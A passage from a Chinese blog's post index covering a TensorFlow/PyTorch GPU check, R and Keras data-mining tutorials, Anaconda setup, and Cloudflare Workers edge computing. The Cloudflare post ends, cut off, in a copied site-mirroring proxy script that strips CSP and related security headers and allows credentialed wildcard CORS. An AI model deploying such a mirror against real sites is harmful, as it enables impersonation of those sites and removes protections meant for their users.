tf.Variable(rand_t) c = tf.matmul(a,b) init = tf.global_variables_initializer()sess = tf.Session(config=tf.ConfigProto(log_device_placement=True)) #强制使用GPUsess.run(init)print(sess.run(c))end = time.time()print(end-begin,'s') 运行结果: 2020-10-11 09:36:56.713905: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX AVX22020-10-11 09:36:56.742138: I tensorflow/stream_executor/platform/default/dso_loader.cc:42] Successfully opened dynamic library nvcuda.dll2020-10-11 09:36:57.193243: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1640] Found device 0 with properties:name: GeForce GTX 960M major: 5 minor: 0 memoryClockRate(GHz): 1.176pciBusID: 0000:01:00.02020-10-11 09:36:57.199952: I tensorflow/stream_executor/platform/default/dlopen_checker_stub.cc:25] GPU libraries are statically linked, skip dlopen check.2020-10-11 09:36:57.204946: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1763] Adding visible gpu devices: 02020-10-11 09:36:58.622428: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1181] Device interconnect StreamExecutor with strength 1 edge matrix:2020-10-11 09:36:58.626880: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1187] 02020-10-11 09:36:58.630073: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1200] 0: N2020-10-11 09:36:58.633910: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1326] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 1382 MB memory) -> physical GPU (device: 0, name: GeForce GTX 960M, pci bus id: 0000:01:00.0, compute capability: 5.0)Device mapping:/job:localhost/replica:0/task:0/device:GPU:0 -> device: 0, name: GeForce GTX 960M, pci bus id: 0000:01:00.0, compute capability: 5.02020-10-11 09:36:58.657797: I tensorflow/core/common_runtime/direct_session.cc:296] Device mapping:/job:localhost/replica:0/task:0/device:GPU:0 -> device: 0, name: GeForce GTX 960M, pci bus id: 0000:01:00.0, compute capability: 5.0random_uniform/RandomUniform: (RandomUniform): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.683509: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/RandomUniform: (RandomUniform)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/sub: (Sub): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.690684: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/sub: (Sub)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/mul: (Mul): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.705871: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/mul: (Mul)/job:localhost/replica:0/task:0/device:GPU:0random_uniform: (Add): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.719880: I tensorflow/core/common_runtime/placer.cc:54] random_uniform: (Add)/job:localhost/replica:0/task:0/device:GPU:0Variable: (VariableV2): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.738611: I tensorflow/core/common_runtime/placer.cc:54] Variable: (VariableV2)/job:localhost/replica:0/task:0/device:GPU:0Variable/Assign: (Assign): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.749906: I tensorflow/core/common_runtime/placer.cc:54] Variable/Assign: (Assign)/job:localhost/replica:0/task:0/device:GPU:0Variable/read: (Identity): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.759648: I tensorflow/core/common_runtime/placer.cc:54] Variable/read: (Identity)/job:localhost/replica:0/task:0/device:GPU:0Variable_1: (VariableV2): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.769854: I tensorflow/core/common_runtime/placer.cc:54] Variable_1: (VariableV2)/job:localhost/replica:0/task:0/device:GPU:0Variable_1/Assign: (Assign): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.776819: I tensorflow/core/common_runtime/placer.cc:54] Variable_1/Assign: (Assign)/job:localhost/replica:0/task:0/device:GPU:0Variable_1/read: (Identity): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.792460: I tensorflow/core/common_runtime/placer.cc:54] Variable_1/read: (Identity)/job:localhost/replica:0/task:0/device:GPU:0MatMul: (MatMul): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.808352: I tensorflow/core/common_runtime/placer.cc:54] MatMul: (MatMul)/job:localhost/replica:0/task:0/device:GPU:0init: (NoOp): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.823256: I tensorflow/core/common_runtime/placer.cc:54] init: (NoOp)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/shape: (Const): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.838355: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/shape: (Const)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/min: (Const): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.853758: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/min: (Const)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/max: (Const): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.868493: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/max: (Const)/job:localhost/replica:0/task:0/device:GPU:0[[1405.2429 1441.7413 1364.38 ... 1480.2251 1279.0061 1620.0938 ] [1232.6589 1344.4458 1169.7095 ... 1205.1284 1040.5566 1421.967 ] [1209.3164 1180.3206 1158.1396 ... 1200.0344 1014.03217 1222.5107 ] ... [1298.9648 1262.9236 1205.6918 ... 1396.479 1090.7253 1437.241 ] [1118.2473 1209.0151 1077.7229 ... 1180.7025 1076.4694 1139.742 ] [1200.8866 1297.2266 1260.01 ... 1289.4297 1165.2448 1433.4183 ]]2.6225805282592773 s 可以看到 GPU 已经在工作了。 同时可以在 cmd 中运行 nvidia-smi【C:\\Program Files\\NVIDIA Corporation\\NVSMInvidia-smi.exe】监控 GPU 使用情况和更改 GPU 状态。 Keras-GPUconda 直接安装即可, 注意需要先安装 tensorflow-gpu。 conda install keras-gpu Pytorch-GPU再也找不到比官网更详尽的文档了，请直接参考 https://pytorch.org/。 conda install pytorch torchvision cudatoolkit=10.0 GPU 测试程序： import torchflag = torch.cuda.is_available()print(flag)ngpu= 1# Decide which device we want to run ondevice = torch.device(\"cuda:0\" if (torch.cuda.is_available() and ngpu > 0) else \"cpu\")print(device)print(torch.cuda.get_device_name(0))print(torch.rand(3,3).cuda()) 输出结果： Truecuda:0GeForce GTX 960Mtensor([[0.0208, 0.2799, 0.4918], [0.0020, 0.1067, 0.8207], [0.5531, 0.0994, 0.2108]], device='cuda:0')","categories":[{"name":"数据挖掘","slug":"数据挖掘","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/"}],"tags":[{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"}]},{"title":"R 语言初步","slug":"data-mining/R语言初步","date":"2020-10-10T12:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/fe073ab3/","permalink":"https://blog.mhuig.top/p/fe073ab3/","excerpt":"","text":"尝试使用 R 语言进行数据处理 安装 R进入 https://www.r-project.org 下载安装包即可. 安装包，载入包的命令安装包install.packages(\"mlbench\") 载入包library(mlbench) 更新所有包update.packages(ask=FALSE, checkBuilt=TRUE) 导入数据集dataset <- read.csv(\"C:\\\\R\\\\bin\\\\iris.csv\", header=FALSE) 概要分析显示头 10 行head(dataset,n=10) V1 V2 V3 V4 V51 5.1 3.5 1.4 0.2 Iris-setosa2 4.9 3.0 1.4 0.2 Iris-setosa3 4.7 3.2 1.3 0.2 Iris-setosa4 4.6 3.1 1.5 0.2 Iris-setosa5 5.0 3.6 1.4 0.2 Iris-setosa6 5.4 3.9 1.7 0.4 Iris-setosa7 4.6 3.4 1.4 0.3 Iris-setosa8 5.0 3.4 1.5 0.2 Iris-setosa9 4.4 2.9 1.4 0.2 Iris-setosa10 4.9 3.1 1.5 0.1 Iris-setosa 显示数据集的每类样本所占比例library(mlbench)data(PimaIndiansDiabetes)y <- PimaIndiansDiabetes$diabetescbind(freq=table(y), percentage=prop.table(table(y))*100) freq percentageneg 500 65.10417pos 268 34.89583 每个属性的值的分布情况summary(dataset) V1 V2 V3 V4 Min. :4.300 Min. :2.000 Min. :1.000 Min. :0.100 1st Qu.:5.100 1st Qu.:2.800 1st Qu.:1.600 1st Qu.:0.300 Median :5.800 Median :3.000 Median :4.350 Median :1.300 Mean :5.843 Mean :3.054 Mean :3.759 Mean :1.199 3rd Qu.:6.400 3rd Qu.:3.300 3rd Qu.:5.100 3rd Qu.:1.800 Max. :7.900 Max. :4.400 Max. :6.900 Max. :2.500 V5 Length:150 Class :character Mode :character 可视化数据属性箱线盒# 加载数据集data(iris)# 为每个属性创建单独的框线图par(mfrow=c(1,4))for(i in 1:4) {boxplot(iris[,i], main=names(iris)[i])} 柱状图data(iris)par(mfrow=c(1,4))for(i in 1:4) {hist(iris[,i], main=names(iris)[i])} 曲线图library(lattice)data(iris)par(mfrow=c(1,4))for(i in 1:4) {plot(density(iris[,i]), main=names(iris)[i])} 条形图library(mlbench)data(BreastCancer)# 为每个分类属性创建条形图par(mfrow=c(2,4))for(i in 2:9) {counts <- table(BreastCancer[,i])name <- names(BreastCancer)[i]barplot(counts, main=name)} 相关图# 加载程序包library(corrplot)# 加载数据data(iris)# 计算相关性correlations <- cor(iris[,1:4])# 创建相关图corrplot(correlations, method=\"circle\") 散点图# 加载数据data(iris)# 按类别着色的成对散点图pairs(Species~., data=iris, col=iris$Species) 密度图# 加载程序包library(caret)# 加载数据data(iris)# 按类值为每个属性绘制密度图x <- iris[,1:4]y <- iris[,5]scales <- list(x=list(relation=\"free\"), y=list(relation=\"free\"))featurePlot(x=x, y=y, plot=\"density\", scales=scales)","categories":[{"name":"数据挖掘","slug":"数据挖掘","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/"}],"tags":[{"name":"R","slug":"R","permalink":"https://blog.mhuig.top/tags/R/"}]},{"title":"手把手教你用 Python 开始第一个机器学习项目","slug":"data-mining/手把手教你用python开始第一个机器学习项目","date":"2020-10-10T11:43:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/110850a/","permalink":"https://blog.mhuig.top/p/110850a/","excerpt":"熟悉一个新的平台或者一个新的工具最好的方式就是从头到尾踏实的完成一个机器学习项目","text":"熟悉一个新的平台或者一个新的工具最好的方式就是从头到尾踏实的完成一个机器学习项目 这里以 PimaIndiansdiabetes.csv 数据集为例。 Download Data Set PimaIndiansdiabetes.csv 数据集介绍 1、该数据集最初来自国家糖尿病/消化/肾脏疾病研究所。数据集的目标是基于数据集中包含的某些诊断测量来诊断性的预测 患者是否患有糖尿病。 2、从较大的数据库中选择这些实例有几个约束条件。尤其是，这里的所有患者都是 Pima 印第安至少 21 岁的女性。 3、数据集由多个医学预测变量和一个目标变量组成 Outcome。预测变量包括患者的怀孕次数、BMI、胰岛素水平、年龄等。 4、数据集的内容是皮马人的医疗记录，以及过去 5 年内是否有糖尿病。所有的数据都是数字，问题是（是否有糖尿病是 1 或 0），是二分类问题。数据有 8 个属性，1 个类别： 【1】Pregnancies：怀孕次数 【2】Glucose：葡萄糖 【3】BloodPressure：血压 (mm Hg) 【4】SkinThickness：皮层厚度 (mm) 【5】Insulin：胰岛素 2 小时血清胰岛素（mu U / ml ） 【6】BMI：体重指数 （体重 / 身高）^2 ） 【7】DiabetesPedigreeFunction：糖尿病谱系功能 【8】Age：年龄 （岁） 【9】Outcome：类标变量 （0 或 1） 数据可视化了解数据集的结构现在是时候看一下我们的数据集了。当前步骤中我们从不同的角度观察数据。 加载数据集首先 import pandas 模块调用 read_csv 方法加载数据集。 from pandas import read_csv# 加载数据集filename = 'pima-indians-diabetes.csv'dataset = read_csv(filename, header=None) 显示数据实例个数、属性个数使用 pandas 中的 shape 方法查看数据集的维度特征，显示数据实例个数 (行)、属性个数（列）。 # 显示数据实例个数、属性个数dataset.shape#(768, 9) 看到有 768 个实例，9 个属性。 前 10 个样本情况使用 head 方法观察数据前 10 行。实际地仔细观察数据向来都是好办法。 # 前10个样本情况dataset.head(10) 0 1 2 3 4 5 6 7 8 0 6 148 72 35 0 33.6 0.627 50 1 1 1 85 66 29 0 26.6 0.351 31 0 2 8 183 64 0 0 23.3 0.672 32 1 3 1 89 66 23 94 28.1 0.167 21 0 4 0 137 40 35 168 43.1 2.288 33 1 5 5 116 74 0 0 25.6 0.201 30 0 6 3 78 50 32 88 31.0 0.248 26 1 7 10 115 0 0 0 35.3 0.134 29 0 8 2 197 70 45 543 30.5 0.158 53 1 9 8 125 96 0 0 0.0 0.232 54 1 显示每个属性的统计概要看一下每个属性的统计概要。 这里包括总数，均值，std，最小值，最大值以及一些百分比。 # 显示每个属性的统计概要（包括总数，均值，最小值，最大值以及一些百分比）dataset.describe() 0 1 2 3 4 5 6 7 8 count 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 768.000000 mean 3.845052 120.894531 69.105469 20.536458 79.799479 31.992578 0.471876 33.240885 0.348958 std 3.369578 31.972618 19.355807 15.952218 115.244002 7.884160 0.331329 11.760232 0.476951 min 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.078000 21.000000 0.000000 25% 1.000000 99.000000 62.000000 0.000000 0.000000 27.300000 0.243750 24.000000 0.000000 50% 3.000000 117.000000 72.000000 23.000000 30.500000 32.000000 0.372500 29.000000 0.000000 75% 6.000000 140.250000 80.000000 32.000000 127.250000 36.600000 0.626250 41.000000 1.000000 max 17.000000 199.000000 122.000000 99.000000 846.000000 67.100000 2.420000 81.000000 1.000000 箱线盒图导入 matplotlib，绘制每一个输入变量的箱线图。这能让我们更清晰的了解输入属性的分布情况。 from matplotlib import pyplot# 线盒图dataset.plot(kind='box')pyplot.show() 柱状图# 柱状图dataset.hist()pyplot.show() 看起来输入变量中有 3 个可能符合高斯分布。这个现象值得注意，我们可以使用基于这个假设的算法。 多变量散点图看一下变量之间的相互关系，所有属性两两一组互相对比的散点图。这种图有助于我们定位输入变量间的结构性关系。 # 多变量散点图from pandas.plotting import scatter_matrixscatter_matrix(dataset)pyplot.show() 注意下图中某些属性两两比对时延对角线出现的分组现象。这其实表明高度的相关性和可预测关系。 交叉验证交叉验证的基本思想是把在某种意义下将原始数据进行分组, 一部分做为训练集，另一部分做为验证集，首先用训练集对分类器进行训练, 再利用验证集来测试训练得到的模型，以此来做为评价分类器的性能指标。 用交叉验证的目的是为了得到可靠稳定的模型。 对数据进行 3、5、7 交叉验证，比较结果。 十折交叉验证# MLP for Pima Indians Dataset with 10-fold cross validation via sklearnfrom keras.models import Sequentialfrom keras.layers import Densefrom keras.wrappers.scikit_learn import KerasClassifierfrom sklearn.model_selection import StratifiedKFoldfrom sklearn.model_selection import cross_val_scoreimport numpy# Function to create model, required for KerasClassifierdef create_model(): # create model model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(8, activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return model# fix random seed for reproducibilityseed = 7numpy.random.seed(seed)# load pima indians datasetdataset = numpy.loadtxt(\"pima-indians-diabetes.csv\", delimiter=\",\")# split into input (X) and output (Y) variablesX = dataset[:, 0:8]Y = dataset[:, 8]# create modelmodel = KerasClassifier(build_fn=create_model, epochs=150, batch_size=10)# evaluate using 10-fold cross validationkfold = StratifiedKFold(n_splits=10, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 3 交叉验证# 3 交叉验证kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 5 交叉验证kfold = StratifiedKFold(n_splits=5, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 7 交叉验证# 7 交叉验证kfold = StratifiedKFold(n_splits=7, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 结果 交叉验证 Result 3 0.75 5 0.7252864837646484 7 0.7383295553071159 10 0.7382946014404297 改变神经网络结构加深，加宽，看看什么结构对模型性能有较大影响。 加深# 改变神经网络结构，（加深，加宽），看看什么结构对模型性能有较大影响。# 加深def create_model_1(): # create model model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(12, input_dim=12,activation='relu')) model.add(Dense(12, input_dim=12,activation='relu')) model.add(Dense(12,input_dim=12, activation='relu')) model.add(Dense(12,input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(8, input_dim=8,activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return modelmodel = KerasClassifier(build_fn=create_model_1, epochs=150, batch_size=10)kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 加宽# 改变神经网络结构，（加深，加宽），看看什么结构对模型性能有较大影响。# 加宽def create_model_2(): # create model model = Sequential() model.add(Dense(24, input_dim=8, activation='relu')) model.add(Dense(16, activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return modelmodel = KerasClassifier(build_fn=create_model_2, epochs=150, batch_size=10)kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 加深加宽# 改变神经网络结构，（加深，加宽），看看什么结构对模型性能有较大影响。# 加宽 加深def create_model_2(): # create model model = Sequential() model.add(Dense(24, input_dim=8, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(24, input_dim=24, activation='relu')) model.add(Dense(12, input_dim=24, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(12, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(8, input_dim=12, activation='relu')) model.add(Dense(1, activation='sigmoid')) # Compile model model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return modelmodel = KerasClassifier(build_fn=create_model_2, epochs=150, batch_size=10)kfold = StratifiedKFold(n_splits=3, shuffle=True, random_state=seed)results = cross_val_score(model, X, Y, cv=kfold)print(results.mean()) 结果 操作 Resault 加深 0.7096354166666666 加宽 0.7057291666666666 加深加宽 0.7174479166666666 更深的模型，意味着更好的非线性表达能力，可以学习更加复杂的变换，从而可以拟合更加复杂的特征输入。 网络更深，每一层要做的事情也更加简单了。 上面就是网络加深带来的两个主要好处，更强大的表达能力和逐层的特征学习。 而宽度就起到了另外一个作用，那就是让每一层学习到更加丰富的特征，比如不同方向，不同频率的纹理特征。 可视化训练过程# 可视化训练过程（损失函数关系图，精确度关系图）import matplotlib.pyplot as plt# Fit the modelmodel = KerasClassifier(build_fn=create_model, epochs=150, batch_size=10)history = model.fit(X, Y, validation_split=0.33, epochs=150, batch_size=10, verbose=0)# list all data in historyprint(history.history.keys())# summarize history for accuracyplt.plot(history.history['accuracy'])plt.plot(history.history['val_accuracy'])plt.title('model accuracy')plt.ylabel('accuracy')plt.xlabel('epoch')plt.legend(['train', 'test'], loc='upper left')plt.show()# summarize history for lossplt.plot(history.history['loss'])plt.plot(history.history['val_loss'])plt.title('model loss')plt.ylabel('loss')plt.xlabel('epoch')plt.legend(['train', 'test'], loc='upper left')plt.show() 源码","categories":[{"name":"数据挖掘","slug":"数据挖掘","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/"}],"tags":[{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"}]},{"title":"How to Setup Your Python Environment for Machine Learning With Anaconda","slug":"data-mining/How to Setup Your Python Environment for Machine Learning with Anaconda","date":"2020-09-11T14:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/2f550c8c/","permalink":"https://blog.mhuig.top/p/2f550c8c/","excerpt":"In this tutorial, we will cover the following steps: 1.Download Anaconda 2.Install Anaconda 3.Start and Update Anaconda 4.Update scikit-learn Library 5.Install Deep Learning Libraries","text":"In this tutorial, we will cover the following steps: 1.Download Anaconda 2.Install Anaconda 3.Start and Update Anaconda 4.Update scikit-learn Library 5.Install Deep Learning Libraries Download AnacondaIn this step, we will download the Anaconda Python package for your platform. Install AnacondaIn this step, we will install the Anaconda Python software on your system.This step assumes you have sufficient administrative privileges to install software on your system. Start and Update AnacondaIn this step, we will confirm that your Anaconda Python environment is up to date. Anaconda comes with a suite of graphical tools called Anaconda Navigator. You can start Anaconda Navigator by opening it from your application launcher. Conda is fast, simple, it’s hard for error messages to hide, and you can quickly confirm your environment is installed and working correctly. 1.Open a terminal (command line window). 2.Confirm conda is installed correctly, by typing: conda -Vconda 4.8.2 3.Confirm Python is installed correctly by typing: python -VPython 3.7.6 4.Confirm your conda environment is up-to-date, type: conda update condaconda update anaconda You may need to install some packages and confirm the updates. 5.Confirm your SciPy environment. The script below will print the version number of the key SciPy libraries you require for machine learning development, specifically: SciPy, NumPy, Matplotlib, Pandas, Statsmodels, and Scikit-learn.You can type “python” and type the commands in directly. Alternatively, I recommend opening a text editor and copy-pasting the script into your editor. Update scikit-learn LibraryIn this step, we will update the main library used for machine learning in Python called scikit-learn. Update scikit-learn to the latest version.At the time of writing, the version of scikit-learn shipped with Anaconda is out of date (0.17.1 instead of 0.18.1). You can update a specific library using the conda command; below is an example of updating scikit-learn to the latest version.At the terminal, type: conda update scikit-learn Alternatively, you can update a library to a specific version by typing: conda install -c anaconda scikit-learn Install Deep Learning Librariesconda install theanoconda install -c conda-forge tensorflowconda install kerasconda install graphviz SummaryVersion First MLPDownload Data Set","categories":[{"name":"数据挖掘","slug":"数据挖掘","permalink":"https://blog.mhuig.top/categories/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/"}],"tags":[{"name":"Machine Learning","slug":"Machine-Learning","permalink":"https://blog.mhuig.top/tags/Machine-Learning/"}]},{"title":"初探 Cloudflare Workers 边缘计算","slug":"web/初探CloudflareWorkers边缘计算","date":"2020-08-31T11:53:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/4a0f523a/","permalink":"https://blog.mhuig.top/p/4a0f523a/","excerpt":"","text":"Edge Computing 尝试在边缘运行 JavaScript 什么是边缘计算边缘运算（Edge computing），又译为边缘计算，是一种分散式运算的架构，将应用程序、数据资料与服务的运算，由网络中心节点，移往网络逻辑上的边缘节点来处理。边缘计算将原本完全由中心节点处理大型服务加以分解，切割成更小与更容易管理的部分，分散到边缘节点去处理。边缘节点更接近于用户终端装置，可以加快资料的处理与传送速度，减少延迟。在这种架构下，资料的分析与知识的产生，更接近于数据资料的来源，因此更适合处理大数据。 OpenStack（是一个由 NASA 和 Rackspace 合作研发并发起的，以 Apache 许可证授权的自由软件和开放源代码项目）社区的定义概念： “边缘计算是为应用开发者和服务提供商在网络的边缘侧提供云服务和 IT 环境服务；目标是在靠近数据输入或用户的地方提供计算、存储和网络带宽”。 章鱼理论秒懂边缘计算章鱼理论：用 \"脚\" 解决问题的边缘计算！ 作为无脊椎动物中智商最高的一种动物，章鱼拥有巨量的神经元，但 60% 分布在章鱼的八条腿（腕足）上，脑部仅有 40%。 也就是说： 警告：本文从以下开始跑题。 == 需要 M03-GLORIA 程序特殊访问权限 == 正在读取资料。请稍等.......[拒绝访问][该数据已被删除]正在读取备份。请稍等.......本博客边缘计算的搭建方案本博客目前采用 Vercel、Cloudflare、GithubPages 多线部署，未来可能会考虑添加██████等其他线路。笔者在此解释 Cloudflare 线路的边缘计算部署方案。正如你所见，静态页面托管存储在 Github 仓库██████中，并开启GitHub Pages 服务，使用Cloudflare Workers 实现边缘计算处理逻辑，LeanCloud 数据库存储网站动态数据。笔者在这里只谈部署思路，由于███████████████████████████████████，相信应该不会有人愿意开源公开自己的后端程序，安全策略以及██████████████████████等等。实现网站镜像目前 Cloudflare 线路即为 GithubPages 的镜像站，我不说相信你也可以看出来，当然我也可以随时切换为 Vercel 或者██████或者██████的镜像站。在网络边缘拦截用户请求，并修改请求中的request.url.hostname,将对用户请求的域解析替换为原始真实 URL，实现隐藏真实网络基础设施的目的。具体实现可以查阅相关文档/** * An object with different URLs to fetch * @param {Object} ORIGINS */const ORIGINS = { \"starwarsapi.yourdomain.com\": \"swapi.co\", \"google.yourdomain.com\": \"google.com\",}async function handleRequest(request) { const url = new URL(request.url) // Check if incoming hostname is a key in the ORIGINS object if (url.hostname in ORIGINS) { const target = ORIGINS[url.hostname] url.hostname = target // If it is, proxy request to that third party origin return fetch(url.toString(), request) } // Otherwise, process request as normal return fetch(request)}addEventListener(\"fetch\", event => { event.respondWith(handleRequest(event.request))})隐藏前端 API 密钥由于调用数据库 API 需要使用 AppID 和 AppKey：而直接将他们写在前端页面存在安全风险，因此笔者将数据库 API 密钥直接写在了 Cloudflare Worker 中。以本站的评论系统为例，在前端页面插入伪造的 API 密钥以作混淆，下图一看就知道是伪造的密钥。在网络边缘拦截用户请求，判断请求合法性，动态更改请求标头替换为真实的 API 密钥，并向后端数据库转发请求，实现数据交互时隐藏 API 密钥。具体实现可以查阅相关文档自定义防火墙规则从 CF-IPCountry HTTP 标头检索 IP 地理位置信息，以判断访问者合法性██████████████████，对于非法访问者████████████████████████████。笔者配合使用████████████数据库实现动态████████████████████████。How does Cloudflare handle HTTP Request headers?Configuring Cloudflare IP Geolocation记录请求日志由于目前 Cloudflare Workers 没有███████████的功能██████████████████，因此笔者使用 Leancloud 数据库的REST API 发送 HTTP 请求来与 数据库 进行交互。Cloudflare Workers 默认在事件的response发送完成后结束边缘的相关进程，这里笔者使用event.waitUntil(promise Promise),延长事件的生存期，而不会阻止事件的response发送。使用此方法可以通知运行时以等待需要比正常的发送响应时间更长的时间运行的任务（例如，日志记录，对第三方服务的分析，流和缓存）。将所有请求记录到数据库中，以便需要时调查取证或者█████████。HTTP2 server push多路复用，是 HTTP / 2 众多协议优化中最令人振奋的特性，它大大降低了网络延迟对性能的影响，而对于资源之间的依赖关系导致的 “延迟”，Server Push 则提供了手动优化方案。通常，只有在浏览器请求某个资源的时候，服务器才会向浏览器发送该资源。Server Push 则允许服务器在收到浏览器的请求之前，主动向浏览器推送资源。比如说，网站首页引用了一个 CSS 文件。浏览器在请求首页时，服务器除了返回首页的 HTML 之外，可以将其引用的 CSS 文件也一并推给客户端。本站在返回的请求中添加 HTTP 标头实现 HTTP2 server push。if(request.headers.get(\"content-type\")==\"text/html; charset=utf-8\"){ response.headers.set(\"Link\", \"</css/style.css>; rel=preload; as=style,</js/app.js>; rel=preload; as=script, <https://cdn.jsdelivr.net>; rel=preconnect; crossorigin, <https://cdn.jsdelivr.net>; rel=dns-prefetch\")}具体实现可以查阅相关文档CORS header proxy由于██████████████████需要前端实现跨域，可以直接添加 HTTP 标头实现。const corsHeaders = { \"Access-Control-Allow-Origin\": \"*\", \"Access-Control-Allow-Methods\": \"GET, HEAD, POST, OPTIONS\", \"Access-Control-Allow-Headers\": \"Content-Type\",}具体实现可以查阅相关文档其他应用更多 Examples[文件已删除]搭建其他镜像站上面介绍镜像自己的博客，如法炮制，你也可以镜像其他网站，例如 Github、█████████、█████████、█████████等，请勿用于非法用途，否则后果自负。下面是一个随便在百度中搜索到的脚本，几乎随便一搜都可以找到它，大家不会都用一个吧。// 你想镜像的站点const upstream = 'zh.wikipedia.org' // 针对移动端适配站点，没有就和保持和上面一致const upstream_mobile = 'zh.wikipedia.org' // 禁止某些地区访问const blocked_region = [] // 禁止自访问const blocked_ip_address = ['0.0.0.0', '127.0.0.1'] // 你想镜像的站点const replace_dict = { '$upstream': '$custom_domain', '//zh.wikipedia.org': ''} // 剩下的就不用管了addEventListener('fetch', event => { event.respondWith(fetchAndApply(event.request));}) async function fetchAndApply(request) { const region = request.headers.get('cf-ipcountry').toUpperCase(); const ip_address = request.headers.get('cf-connecting-ip'); const user_agent = request.headers.get('user-agent'); let response = null; let url = new URL(request.url); let url_host = url.host; if (url.protocol == 'http:') { url.protocol = 'https:' response = Response.redirect(url.href); return response; } if (await device_status(user_agent)) { upstream_domain = upstream } else { upstream_domain = upstream_mobile } url.host = upstream_domain; if (blocked_region.includes(region)) { response = new Response('Access denied: WorkersProxy is not available in your region yet.', { status: 403 }); } else if(blocked_ip_address.includes(ip_address)){ response = new Response('Access denied: Your IP address is blocked by WorkersProxy.', { status: 403 }); } else{ let method = request.method; let request_headers = request.headers; let new_request_headers = new Headers(request_headers); new_request_headers.set('Host', upstream_domain); new_request_headers.set('Referer', url.href); let original_response = await fetch(url.href, { method: method, headers: new_request_headers }) let original_response_clone = original_response.clone(); let original_text = null; let response_headers = original_response.headers; let new_response_headers = new Headers(response_headers); let status = original_response.status; new_response_headers.set('access-control-allow-origin', '*'); new_response_headers.set('access-control-allow-credentials', true); new_response_headers.delete('content-security-policy'); new_response_headers.delete('content-security-policy-report-only'); new_response_headers.delete('clear-site-data'); const content_type = 